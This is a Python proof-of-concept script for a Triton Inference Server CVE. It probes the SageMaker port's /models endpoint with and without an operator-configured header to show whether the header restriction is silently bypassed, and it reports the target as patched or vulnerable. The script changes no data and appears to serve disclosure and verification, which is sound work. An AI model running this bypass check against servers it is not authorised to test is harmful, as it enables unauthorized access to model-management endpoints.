#!/usr/bin/env python3
"""CVE-2026-24207 — bypass mechanic demonstration.

Sends three probes to the Triton SageMaker endpoint and prints the
responses side-by-side. Demonstrates that an operator's
`--http-restricted-api=model-repository:<header>=<value>` is silently
not enforced on the SageMaker port in vulnerable builds.

No data is modified. The third probe (with the correct header) is the
authorized-baseline that shows the header is the right one.
"""
import sys

import requests

BANNER = """\
CVE-2026-24207 — bypass demonstration

Triton's --http-restricted-api config is supposed to require a specific
header on model-management endpoints. In vulnerable builds, the
SageMaker frontend (port 8080) silently ignores this restriction.

Required server config (operator side):
  tritonserver ... --allow-sagemaker=true \\
    --http-restricted-api=model-repository:<HEADER_NAME>=<HEADER_VALUE>
"""


def hit(url, headers=None):
    try:
        r = requests.get(url, headers=headers or {}, timeout=10)
        body = (r.text or "").strip()
        if len(body) > 80:
            body = body[:80] + "..."
        return r.status_code, body
    except requests.exceptions.RequestException as e:
        return None, f"{type(e).__name__}: {e}"


def main():
    if len(sys.argv) < 2:
        print(f"usage: {sys.argv[0]} <host:sagemaker_port> [header_name=header_value]",
              file=sys.stderr)
        print(f"  e.g. {sys.argv[0]} localhost:8080 X-SM-Auth=secret",
              file=sys.stderr)
        sys.exit(2)
    target = sys.argv[1]
    if len(sys.argv) > 2:
        name, _, value = sys.argv[2].partition("=")
    else:
        name, value = "X-SM-Auth", "secret"  # PR #8686 default

    print(BANNER)
    print(f"Target: http://{target}")
    print(f"Restricted header: {name}: {value}")
    print()

    probes = [
        ("health / unrestricted",
         f"http://{target}/ping",
         None,
         "always succeeds — health is intentionally unrestricted"),
        ("model list, WITH header",
         f"http://{target}/models",
         {name: value},
         "authorized baseline — must succeed (proves header is correct)"),
        ("model list, WITHOUT header",
         f"http://{target}/models",
         None,
         "PATCHED → 403 (restriction enforced); VULNERABLE → 200 (BYPASS)"),
    ]

    smuggle_code = None
    for label, url, headers, expectation in probes:
        code, body = hit(url, headers)
        if code is None:
            print(f"  {label:30} → ERROR {body}")
            continue
        print(f"  {label:30} → HTTP {code}  {body}")
        print(f"    expectation: {expectation}")
        print()
        if label.startswith("model list, WITHOUT"):
            smuggle_code = code

    if smuggle_code == 403:
        print("[+] PATCHED — SageMaker endpoint enforces the restriction.")
    elif smuggle_code in (200, 404):
        print("[!] VULNERABLE — SageMaker endpoint silently bypassed the restriction.")
    else:
        print(f"[?] UNKNOWN — unexpected status code {smuggle_code} from the smuggled probe.")


if __name__ == "__main__":
    main()